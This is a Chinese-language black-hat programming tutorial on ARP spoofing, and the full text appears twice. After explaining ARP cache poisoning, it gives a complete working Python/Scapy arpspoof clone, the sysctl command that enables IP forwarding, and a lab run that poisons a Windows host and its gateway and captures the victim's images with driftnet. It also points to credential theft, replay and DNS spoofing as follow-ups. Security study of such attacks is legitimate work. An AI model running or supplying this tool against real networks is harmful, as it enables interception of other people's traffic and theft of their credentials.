Python黑帽编程 3.1 ARP欺骗

摘要

Python黑帽编程 3.1 ARP欺骗

Python 灰帽编程 3.1 ARP 欺骗

ARP 欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听、篡改、重放、钓鱼等攻击方式。

在进行 ARP 欺骗的编码实验之前,我们有必要了解下 ARP ARP 欺骗的原理。

3.1.1 ARP ARP 欺骗原理

ARP 是地址转换协议( Address Resolution Protocol )的英文缩写,它是一个链路层协议,工作在 OSI 模型的第二层,在本层和硬件接口间进行联系,同时对上层(网络层)提供服务。我们知道二层的以太网交换设备并不能识别 32 位的 IP 地址,它们是以 48 位以太网地址(就是我们常说的 MAC 地址)传输以太网数据包的。也就是说 IP 数据包在局域网内部传输时并不是靠 IP 地址而是靠 MAC 地址来识别目标的,因此 IP 地址与 MAC 地址之间就必须存在一种对应关系,而 ARP 协议就是用来确定这种对应关系的协议。

ARP 工作时,首先请求主机会发送出一个含有所希望到达的 IP 地址的以太网广播数据包,然后目标 IP 的所有者会以一个含有 IP MAC 地址对的数据包应答请求主机。这样请求主机就能获得要到达的 IP 地址对应的 MAC 地址,同时请求主机会将这个地址对放入自己的 ARP 表缓存起来,以节约不必要的 ARP 通信。 ARP 缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。

局域网上的一台主机,如果接收到一个 ARP 报文,即使该报文不是该主机所发送的 ARP 请求的应答报文,该主机也会将 ARP 报文中的发送者的 MAC 地址和 IP 地址更新或加入到 ARP 表中。

ARP 欺骗攻击就利用了这点,攻击者主动发送 ARP 报文,发送者的 MAC 地址为攻击者主机的 MAC 地址,发送者的 IP 地址为被攻击主机的 IP 地址。通过不断发送这些伪造的 ARP 报文,让局域网上所有的主机和网关 ARP 表,其对应的 MAC 地址均为攻击者的 MAC 地址,这样所有的网络流量都会发送给攻击者主机。由于 ARP 欺骗攻击导致了主机和网关的 ARP 表的不正确,这种情况我们也称为 ARP 中毒。

根据 ARP 欺骗者与被欺骗者之间的角色关系的不同,通常可以把 ARP 欺骗攻击分为如下两种:

1.         主机型 ARP 欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗

2.         网关型 ARP 欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗

Python黑帽编程 3.1 ARP欺骗

2

其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。

了解了基本原理之后,我们下面动手实现 ARP 欺骗程序。

3.1.2 基本网络信息

首先,我们来查看下当前虚拟机 Kali Linux 的网络配置和 ARP 缓存。

Python黑帽编程 3.1 ARP欺骗

3

如图 5 所示, Kali Linux 以太网卡为 eth0 ip 地址为 192.168.1.102 MAC 地址为 00:0c:29:6e:98:a6 。下面我们再查看 Kali Linux ARP 缓存。

Python黑帽编程 3.1 ARP欺骗

4

下面再用同样的方法查看 Windows 系统的信息。

Python黑帽编程 3.1 ARP欺骗

5

windows 本身地址为 192.168.1.18 ,同样缓存了路由器的地址。

下面我们将 windows 所在主机作为靶机,将 Kali Linux 所在虚拟机作为攻击机,进行编程测试。

3.1.3 构造 ARP 欺骗数据包

我们先完成第一个目标,告诉目标主机 192.168.1.18 网关的地址为 Kali Linux 所在主机的地址: 192.168.1.102

在程序的顶部,我们先导入 scapy

import sys

import time

from scapy.all import (

get_if_hwaddr,

getmacbyip,

ARP,

Ether,

sendp

)

注意这里面的几个方法, get_if_hwaddr 为获取本机网络接口的函数, getmacbyip 是通过 ip 地址获取其 Mac 地址的方法, ARP 是构建 ARP 数据包的类, Ether 用来构建以太网数据包, sendp 方法在第二层发送数据包。

我们先解下 Ether 的参数:

Python黑帽编程 3.1 ARP欺骗

6

dst        : DestMACField              = (None)

src        : SourceMACField            = (None)

type       : XShortEnumField           = (36864)

构造一个以太网数据包通常需要指定目标和源 MAC 地址,如果不指定,默认发出的就是广播包,例如:

Python黑帽编程 3.1 ARP欺骗

7

再来了解下 ARP 类构造函数的参数列表:

Python黑帽编程 3.1 ARP欺骗

8

hwtype     : XShortField               = (1)

ptype      : XShortEnumField           = (2048)

hwlen      : ByteField                 = (6)

plen       : ByteField                 = (4)

op         : ShortEnumField            = (1)

hwsrc      : ARPSourceMACField         = (None)

psrc       : SourceIPField             = (None)

hwdst      : MACField                  = (’00:00:00:00:00:00′)

pdst       : IPField                   = (‘0.0.0.0’)

构造 ARP 需要我们注意的有 5 个参数:

l   op 。取值为 1 或者 2 ,代表 ARP 请求或者响应包。

l   hwsrc 。发送方 Mac 地址。

l   psrc 。发送方 IP 地址。

l   hwdst 。目标 Mac 地址。

l   pdst 。目标 IP 地址。

定向欺骗

现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉 192.168.1.23 这台主机网关地址为 192.168.1.102 所在的主机,构造的数据包应该是这样的:

pkt = Ether( src = [1.102 MAC], dst = [1.18 Mac]) / ARP( 1.102 MAC , 网关 IP 地址 , hwdst = 1.18MAC, pdst = 1.18IP 地址 , op = 2 )

上面的代码我们不论是以太网数据包还是 ARP 数据包,我们都明确指定了来源和目标,在 ARP 数据包中,我们将 Kali Linux Mac 地址和网关的 IP 地址进行了绑定, op 取值为 2 ,作为一个响应包被 1. 18 接到,这样 1. 18 会更新自己的 ARP 缓存表,造成中毒,从而 1. 18 发往网关的数据包都会被发往 1.102

那么我们如果要欺骗网关,把网关发往 1. 18 的数据包都发送到 Kali Linux 1.102 )上,根据上面的代码稍作修改即可:

pkt = Ether( src = [1.102 MAC], dst = [ 网关的 Mac]) / ARP( 1.102 MAC , 1. 18 地址 , hwdst = 网关 MAC, pdst = 网关 IP 地址 , op = 2 )

上面构造的两个数据包都是 ARP 响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源 IP MAC 地址,目标主机同样会更新自己的路由表。

ARP 请求的方式欺骗主机,构造的 ARP 包如下:

pkt = Ether( src = [1.102 MAC], dst = [1. 18 Mac]) / ARP( 1.102 MAC , 网关 IP 地址 , hwdst = 1. 18MAC, pdst = 1. 18IP 地址 , op = 1 )

ARP 请求的方式欺骗网关,构造的 ARP 包如下:

pkt = Ether( src = [1.102 MAC], dst = [ 网关的 Mac]) / ARP( 1.102 MAC , 1. 18 地址 , hwdst = 网关 MAC, pdst = 网关 IP 地址 , op = 1 )

我们看到构造 ARP 请求和响应的主要区别在 op 的值。

目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。

广播欺骗

广播欺骗,首先以太网数据包直接构造一个广播包, ARP 包不用填写目标主机的信息即可。

下面是 ARP 广播响应包的构造方式:

pkt = Ether( src = mac, dst = ff:ff:ff:ff:ff:ff ) / ARP( hwsrc = mac, psrc = args[ 0 ], op = 2 )

最后综合定下和广播欺骗的方式,我们总结一个公式出来:

pkt = Ether( src = 攻击机 MAC, dst = 被欺骗主机(或网关) MAC) / ARP( ( hwsrc = 毒化记录中的 MAC , 毒化记录中的 IP, hwdst = 被欺骗主机 MAC, pdst = 被欺骗主机 IP 地址 , op = 1 (或 2 )

概念有点绕,实践出真知。

3.1.4 发送数据包

数据包构造完成之后,我们要做的就是发送了,发送数据包这里我们使用 sendp 方法,该方法描述如下:

Send packets at layer 2

sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None

sendp 方法类似的还有一个 send 方法,两个方法不同的是, sendp 方法工作在第二层, send 方法工作在第三层。发送构造好的数据包就很简单了:

sendp(pkt, inter = 2 , iface = 网卡 )

3.1.5 打造你的 arpspoof

ARP 欺骗的核心内容我们已经讲完了,在 Kali Linux 上有一款常用的 ARP 欺骗工具叫 arpspoof Python黑帽编程 3.1 ARP欺骗

9

(关于 arpspoof 的使用可以参考我的视频教程《 kali linux 渗透测试初级教程》,文末有获取方法。)

虽然我们不知道 arpspoof 的内部实现代码,但是我们完全可以根据目前掌握的知识,用 Python 来实现它。废话少说,先上代码:

#!/usr/bin/python

import os

import sys

import signal

from scapy.all import (

get_if_hwaddr,

getmacbyip,

ARP,

Ether,

sendp

)

from optparse import OptionParser

def main():

try:

if os.geteuid() != 0:

print "[-] Run me as root"

sys.exit(1)

except Exception,msg:

print msg

usage = ‘Usage: %prog [-i interface] [-t target] host’

parser = OptionParser(usage)

parser.add_option(‘-i’, dest=’interface’, help=’Specify the interface to use’)

parser.add_option(‘-t’, dest=’target’, help=’Specify a particular host to ARP poison’)

parser.add_option(‘-m’, dest=’mode’, default=’req’, help=’Poisoning mode: requests (req) or replies (rep) [default: %default]’)

parser.add_option(‘-s’, action=’store_true’, dest=’summary’, default=False, help=’Show packet summary and ask for confirmation before poisoning’)

(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:

parser.print_help()

sys.exit(0)

mac = get_if_hwaddr(options.interface)

def build_req():

if options.target is None:

pkt = Ether(src=mac, dst=’ff:ff:ff:ff:ff:ff’) / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

return pkt

def build_rep():

if options.target is None:

pkt = Ether(src=mac, dst=’ff:ff:ff:ff:ff:ff’) / ARP(hwsrc=mac, psrc=args[0], op=2)

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)

return pkt

if options.mode == ‘req’:

pkt = build_req()

elif options.mode == ‘rep’:

pkt = build_rep()

if options.summary is True:

pkt.show()

ans = raw_input(‘/n[*] Continue? [Y|n]: ‘).lower()

if ans == ‘y’ or len(ans) == 0:

pass

else:

sys.exit(0)

while True:

sendp(pkt, inter=2, iface=options.interface)

if __name__ == ‘__main__’:

main()

代码略微有一点多,不过核心内容没有离开我们上面讲到的内容,现在做个分解。

usage = ‘Usage: %prog [-i interface] [-t target] host’

parser = OptionParser(usage)

parser.add_option(‘-i’, dest=’interface’, help=’Specify the interface to use’)

parser.add_option(‘-t’, dest=’target’, help=’Specify a particular host to ARP poison’)

parser.add_option(‘-m’, dest=’mode’, default=’req’, help=’Poisoning mode: requests (req) or replies (rep) [default: %default]’)

parser.add_option(‘-s’, action=’store_true’, dest=’summary’, default=False, help=’Show packet summary and ask for confirmation before poisoning’)

(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:

parser.print_help()

sys.exit(0)

首先,我们引入了 optparse 模块,用来格式化用户输入的参数,如果用户输入参数不正确,会打印使用说明。

Python黑帽编程 3.1 ARP欺骗

10

下面调用了 get_if_hwaddr 方法,根据参数中传入的网卡,获取本机 MAC 地址,该 MAC 地址在构建以太网和 ARP 数据包的时候做为攻击机的 MAC 地址被使用。

接下来是 build_req 方法,和 build_rep 方法,分别用来构建 ARP 请求和响应包。两个方法会检查是否指定了目标地址,如果没有就是广播欺骗,如果有就是定下欺骗。两个方法里面使用了 getmacbyip 方法来根据 ip 地址获取目标主机的 MAC 地址。构建数据包的原理我们上面讲的很清楚了,这里就不重复了。

再往下是根据输入的参数,判断应该构建的数据包类型,调用对应的方法。

if options.mode == ‘req’:

pkt = build_req()

elif options.mode == ‘rep’:

pkt = build_rep()

if options.summary is True:

pkt.show()

ans = raw_input(‘/n[*] Continue? [Y|n]: ‘).lower()

if ans == ‘y’ or len(ans) == 0:

pass

else:

sys.exit(0)

最后是发送数据包和程序的入口。

while True:

sendp(pkt, inter=2, iface=options.interface)

if __name__ == ‘__main__’:

main()

程序准备妥当,我们保存源码,下面开始测试。

3.1.6 测试

在做 ARP 欺骗测试的时候,一定要先开启本机的 IP 转发功能,否则会失败的。执行如下命令:

sysctl net.ipv4.ip_forward=1

Python黑帽编程 3.1 ARP欺骗

11

下面我们打开终端,对 192.168.1.18 进行欺骗,告诉它网关为 192.168.1.102 所在的主机。

Python黑帽编程 3.1 ARP欺骗

12

在打开一个终端,对网关进行欺骗,告诉网关, 192.168.1.18 对应的主机为 192.168.1.102.

python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18

一段时间之后,我们发现, 192.168.1.18 arp 缓存发生了变化:

Python黑帽编程 3.1 ARP欺骗

13

对比图 13 和图 5 我们知道 arp 毒化成功。下面我们来看一下能发捕获到 1.18 的外网请求信息,使用常用的测试工具 driftnet

Python黑帽编程 3.1 ARP欺骗

14

下面在 1.18 上随便打开几个带有图片的网页。

Python黑帽编程 3.1 ARP欺骗

15

drifnet 上面我们可以看到捕获的图片信息,如图 16 所示。

Python黑帽编程 3.1 ARP欺骗

16

证明我们的 arp 欺骗程序编写成功。

3.1.7 在此基础上我们能做什么

上面的测试,我们知道基于 ARP 欺骗我们可以做数据监听,能拿到敏感信息,能拿到凭证进行重放攻击,能进行数据篡改,结合调用和 DNS 欺骗做很多事情。

关于进一步的实战利用,这里我就不展开了,在我的视频教程《 Kali Linux web 渗透测试基础教程》的第十四课《第 14 -arp 欺骗、嗅探、 dns 欺骗、 session 劫持》讲了很多实用的工具,可以在 ARP 欺骗的基础上做很多测试。只要在玄魂工作室的微信订阅号 ( 在下方扫码关注 ) 下回复 “kali” ,会自动回复你免费获取整套教程的方法。

3.1.8 小结

本节 比较详细的讲解了基于 Scapy 进行 ARP 数据包构建和发送的基础知识,综合这些基础进行 ARP 欺骗的工具编写,最终完成了一个可用的 ARP 欺骗工具。

下一节,基于本节的知识,我们编写一个 ARP 监控工具,来对网络上主机的 ARP 请求做动态的回应。

3.2 节《 ARP 监控 》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单 专栏 ”—>”Python 黑帽编程 进入即可。

查看完整系列教程,请关注我的微信订阅号( xuanhun521 ,下方二维码),回复“ python ”。问题讨论请加 qq 群: Hacking 1 群): 303242737   Hacking 2 群): 147098303

Python黑帽编程 3.1 ARP欺骗

玄魂工作室 精彩不断

Python黑帽编程 3.1 ARP欺骗

Python 灰帽编程 3.1 ARP 欺骗

ARP 欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听、篡改、重放、钓鱼等攻击方式。

在进行 ARP 欺骗的编码实验之前,我们有必要了解下 ARP ARP 欺骗的原理。

3.1.1 ARP ARP 欺骗原理

ARP 是地址转换协议( Address Resolution Protocol )的英文缩写,它是一个链路层协议,工作在 OSI 模型的第二层,在本层和硬件接口间进行联系,同时对上层(网络层)提供服务。我们知道二层的以太网交换设备并不能识别 32 位的 IP 地址,它们是以 48 位以太网地址(就是我们常说的 MAC 地址)传输以太网数据包的。也就是说 IP 数据包在局域网内部传输时并不是靠 IP 地址而是靠 MAC 地址来识别目标的,因此 IP 地址与 MAC 地址之间就必须存在一种对应关系,而 ARP 协议就是用来确定这种对应关系的协议。

ARP 工作时,首先请求主机会发送出一个含有所希望到达的 IP 地址的以太网广播数据包,然后目标 IP 的所有者会以一个含有 IP MAC 地址对的数据包应答请求主机。这样请求主机就能获得要到达的 IP 地址对应的 MAC 地址,同时请求主机会将这个地址对放入自己的 ARP 表缓存起来,以节约不必要的 ARP 通信。 ARP 缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。

局域网上的一台主机,如果接收到一个 ARP 报文,即使该报文不是该主机所发送的 ARP 请求的应答报文,该主机也会将 ARP 报文中的发送者的 MAC 地址和 IP 地址更新或加入到 ARP 表中。

ARP 欺骗攻击就利用了这点,攻击者主动发送 ARP 报文,发送者的 MAC 地址为攻击者主机的 MAC 地址,发送者的 IP 地址为被攻击主机的 IP 地址。通过不断发送这些伪造的 ARP 报文,让局域网上所有的主机和网关 ARP 表,其对应的 MAC 地址均为攻击者的 MAC 地址,这样所有的网络流量都会发送给攻击者主机。由于 ARP 欺骗攻击导致了主机和网关的 ARP 表的不正确,这种情况我们也称为 ARP 中毒。

根据 ARP 欺骗者与被欺骗者之间的角色关系的不同,通常可以把 ARP 欺骗攻击分为如下两种:

1.         主机型 ARP 欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗

2.         网关型 ARP 欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗

Python黑帽编程 3.1 ARP欺骗

2

其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。

了解了基本原理之后,我们下面动手实现 ARP 欺骗程序。

3.1.2 基本网络信息

首先,我们来查看下当前虚拟机 Kali Linux 的网络配置和 ARP 缓存。

Python黑帽编程 3.1 ARP欺骗

3

如图 5 所示, Kali Linux 以太网卡为 eth0 ip 地址为 192.168.1.102 MAC 地址为 00:0c:29:6e:98:a6 。下面我们再查看 Kali Linux ARP 缓存。

Python黑帽编程 3.1 ARP欺骗

4

下面再用同样的方法查看 Windows 系统的信息。

Python黑帽编程 3.1 ARP欺骗

5

windows 本身地址为 192.168.1.18 ,同样缓存了路由器的地址。

下面我们将 windows 所在主机作为靶机,将 Kali Linux 所在虚拟机作为攻击机,进行编程测试。

3.1.3 构造 ARP 欺骗数据包

我们先完成第一个目标,告诉目标主机 192.168.1.18 网关的地址为 Kali Linux 所在主机的地址: 192.168.1.102

在程序的顶部,我们先导入 scapy

import sys

import time

from scapy.all import (

get_if_hwaddr,

getmacbyip,

ARP,

Ether,

sendp

)

注意这里面的几个方法, get_if_hwaddr 为获取本机网络接口的函数, getmacbyip 是通过 ip 地址获取其 Mac 地址的方法, ARP 是构建 ARP 数据包的类, Ether 用来构建以太网数据包, sendp 方法在第二层发送数据包。

我们先解下 Ether 的参数:

Python黑帽编程 3.1 ARP欺骗

6

dst        : DestMACField              = (None)

src        : SourceMACField            = (None)

type       : XShortEnumField           = (36864)

构造一个以太网数据包通常需要指定目标和源 MAC 地址,如果不指定,默认发出的就是广播包,例如:

Python黑帽编程 3.1 ARP欺骗

7

再来了解下 ARP 类构造函数的参数列表:

Python黑帽编程 3.1 ARP欺骗

8

hwtype     : XShortField               = (1)

ptype      : XShortEnumField           = (2048)

hwlen      : ByteField                 = (6)

plen       : ByteField                 = (4)

op         : ShortEnumField            = (1)

hwsrc      : ARPSourceMACField         = (None)

psrc       : SourceIPField             = (None)

hwdst      : MACField                  = ('00:00:00:00:00:00')

pdst       : IPField                   = ('0.0.0.0')

构造 ARP 需要我们注意的有 5 个参数:

l   op 。取值为 1 或者 2 ,代表 ARP 请求或者响应包。

l   hwsrc 。发送方 Mac 地址。

l   psrc 。发送方 IP 地址。

l   hwdst 。目标 Mac 地址。

l   pdst 。目标 IP 地址。

定向欺骗

现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉 192.168.1.23 这台主机网关地址为 192.168.1.102 所在的主机,构造的数据包应该是这样的:

pkt = Ether( src = [1.102 MAC], dst = [1.18 Mac]) / ARP( 1.102 MAC , 网关 IP 地址 , hwdst = 1.18MAC, pdst = 1.18IP 地址 , op = 2 )

上面的代码我们不论是以太网数据包还是 ARP 数据包,我们都明确指定了来源和目标,在 ARP 数据包中,我们将 Kali Linux Mac 地址和网关的 IP 地址进行了绑定, op 取值为 2 ,作为一个响应包被 1. 18 接到,这样 1. 18 会更新自己的 ARP 缓存表,造成中毒,从而 1. 18 发往网关的数据包都会被发往 1.102

那么我们如果要欺骗网关,把网关发往 1. 18 的数据包都发送到 Kali Linux 1.102 )上,根据上面的代码稍作修改即可:

pkt = Ether( src = [1.102 MAC], dst = [ 网关的 Mac]) / ARP( 1.102 MAC , 1. 18 地址 , hwdst = 网关 MAC, pdst = 网关 IP 地址 , op = 2 )

上面构造的两个数据包都是 ARP 响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源 IP MAC 地址,目标主机同样会更新自己的路由表。

ARP 请求的方式欺骗主机,构造的 ARP 包如下:

pkt = Ether( src = [1.102 MAC], dst = [1. 18 Mac]) / ARP( 1.102 MAC , 网关 IP 地址 , hwdst = 1. 18MAC, pdst = 1. 18IP 地址 , op = 1 )

ARP 请求的方式欺骗网关,构造的 ARP 包如下:

pkt = Ether( src = [1.102 MAC], dst = [ 网关的 Mac]) / ARP( 1.102 MAC , 1. 18 地址 , hwdst = 网关 MAC, pdst = 网关 IP 地址 , op = 1 )

我们看到构造 ARP 请求和响应的主要区别在 op 的值。

目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。

广播欺骗

广播欺骗,首先以太网数据包直接构造一个广播包, ARP 包不用填写目标主机的信息即可。

下面是 ARP 广播响应包的构造方式:

pkt = Ether( src = mac, dst = ' ff:ff:ff:ff:ff:ff ' ) / ARP( hwsrc = mac, psrc = args[ 0 ], op = 2 )

最后综合定下和广播欺骗的方式,我们总结一个公式出来:

pkt = Ether( src = 攻击机 MAC, dst = 被欺骗主机(或网关) MAC) / ARP( ( hwsrc = 毒化记录中的 MAC , 毒化记录中的 IP, hwdst = 被欺骗主机 MAC, pdst = 被欺骗主机 IP 地址 , op = 1 (或 2 )

概念有点绕,实践出真知。

3.1.4 发送数据包

数据包构造完成之后,我们要做的就是发送了,发送数据包这里我们使用 sendp 方法,该方法描述如下:

Send packets at layer 2

sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None

sendp 方法类似的还有一个 send 方法,两个方法不同的是, sendp 方法工作在第二层, send 方法工作在第三层。发送构造好的数据包就很简单了:

sendp(pkt, inter = 2 , iface = 网卡 )

3.1.5 打造你的 arpspoof

ARP 欺骗的核心内容我们已经讲完了,在 Kali Linux 上有一款常用的 ARP 欺骗工具叫 arpspoof Python黑帽编程 3.1 ARP欺骗

9

(关于 arpspoof 的使用可以参考我的视频教程《 kali linux 渗透测试初级教程》,文末有获取方法。)

虽然我们不知道 arpspoof 的内部实现代码,但是我们完全可以根据目前掌握的知识,用 Python 来实现它。废话少说,先上代码:

#!/usr/bin/python

import os

import sys

import signal

from scapy.all import (

get_if_hwaddr,

getmacbyip,

ARP,

Ether,

sendp

)

from optparse import OptionParser

def main():

try:

if os.geteuid() != 0:

print "[-] Run me as root"

sys.exit(1)

except Exception,msg:

print msg

usage = 'Usage: %prog [-i interface] [-t target] host'

parser = OptionParser(usage)

parser.add_option('-i', dest='interface', help='Specify the interface to use')

parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')

parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')

parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')

(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:

parser.print_help()

sys.exit(0)

mac = get_if_hwaddr(options.interface)

def build_req():

if options.target is None:

pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

return pkt

def build_rep():

if options.target is None:

pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)

return pkt

if options.mode == 'req':

pkt = build_req()

elif options.mode == 'rep':

pkt = build_rep()

if options.summary is True:

pkt.show()

ans = raw_input('/n[*] Continue? [Y|n]: ').lower()

if ans == 'y' or len(ans) == 0:

pass

else:

sys.exit(0)

while True:

sendp(pkt, inter=2, iface=options.interface)

if __name__ == '__main__':

main()

代码略微有一点多,不过核心内容没有离开我们上面讲到的内容,现在做个分解。

usage = 'Usage: %prog [-i interface] [-t target] host'

parser = OptionParser(usage)

parser.add_option('-i', dest='interface', help='Specify the interface to use')

parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')

parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')

parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')

(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:

parser.print_help()

sys.exit(0)

首先,我们引入了 optparse 模块,用来格式化用户输入的参数,如果用户输入参数不正确,会打印使用说明。

Python黑帽编程 3.1 ARP欺骗

10

下面调用了 get_if_hwaddr 方法,根据参数中传入的网卡,获取本机 MAC 地址,该 MAC 地址在构建以太网和 ARP 数据包的时候做为攻击机的 MAC 地址被使用。

接下来是 build_req 方法,和 build_rep 方法,分别用来构建 ARP 请求和响应包。两个方法会检查是否指定了目标地址,如果没有就是广播欺骗,如果有就是定下欺骗。两个方法里面使用了 getmacbyip 方法来根据 ip 地址获取目标主机的 MAC 地址。构建数据包的原理我们上面讲的很清楚了,这里就不重复了。

再往下是根据输入的参数,判断应该构建的数据包类型,调用对应的方法。

if options.mode == 'req':

pkt = build_req()

elif options.mode == 'rep':

pkt = build_rep()

if options.summary is True:

pkt.show()

ans = raw_input('/n[*] Continue? [Y|n]: ').lower()

if ans == 'y' or len(ans) == 0:

pass

else:

sys.exit(0)

最后是发送数据包和程序的入口。

while True:

sendp(pkt, inter=2, iface=options.interface)

if __name__ == '__main__':

main()

程序准备妥当,我们保存源码,下面开始测试。

3.1.6 测试

在做 ARP 欺骗测试的时候,一定要先开启本机的 IP 转发功能,否则会失败的。执行如下命令:

sysctl net.ipv4.ip_forward=1

Python黑帽编程 3.1 ARP欺骗

11

下面我们打开终端,对 192.168.1.18 进行欺骗,告诉它网关为 192.168.1.102 所在的主机。

Python黑帽编程 3.1 ARP欺骗

12

在打开一个终端,对网关进行欺骗,告诉网关, 192.168.1.18 对应的主机为 192.168.1.102.

python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18

一段时间之后,我们发现, 192.168.1.18 arp 缓存发生了变化:

Python黑帽编程 3.1 ARP欺骗

13

对比图 13 和图 5 我们知道 arp 毒化成功。下面我们来看一下能发捕获到 1.18 的外网请求信息,使用常用的测试工具 driftnet

Python黑帽编程 3.1 ARP欺骗

14

下面在 1.18 上随便打开几个带有图片的网页。

Python黑帽编程 3.1 ARP欺骗

15

drifnet 上面我们可以看到捕获的图片信息,如图 16 所示。

Python黑帽编程 3.1 ARP欺骗

16

证明我们的 arp 欺骗程序编写成功。

3.1.7 在此基础上我们能做什么

上面的测试,我们知道基于 ARP 欺骗我们可以做数据监听,能拿到敏感信息,能拿到凭证进行重放攻击,能进行数据篡改,结合调用和 DNS 欺骗做很多事情。

关于进一步的实战利用,这里我就不展开了,在我的视频教程《 Kali Linux web 渗透测试基础教程》的第十四课《第 14 -arp 欺骗、嗅探、 dns 欺骗、 session 劫持》讲了很多实用的工具,可以在 ARP 欺骗的基础上做很多测试。只要在玄魂工作室的微信订阅号 ( 在下方扫码关注 ) 下回复 “kali” ,会自动回复你免费获取整套教程的方法。

3.1.8 小结

本节 比较详细的讲解了基于 Scapy 进行 ARP 数据包构建和发送的基础知识,综合这些基础进行 ARP 欺骗的工具编写,最终完成了一个可用的 ARP 欺骗工具。

下一节,基于本节的知识,我们编写一个 ARP 监控工具,来对网络上主机的 ARP 请求做动态的回应。

3.2 节《 ARP 监控 》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单 专栏 ”—>”Python 黑帽编程 进入即可。

查看完整系列教程,请关注我的微信订阅号( xuanhun521 ,下方二维码),回复“ python ”。问题讨论请加 qq 群: Hacking 1 群): 303242737   Hacking 2 群): 147098303

Python黑帽编程 3.1 ARP欺骗

玄魂工作室 - 精彩不断

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: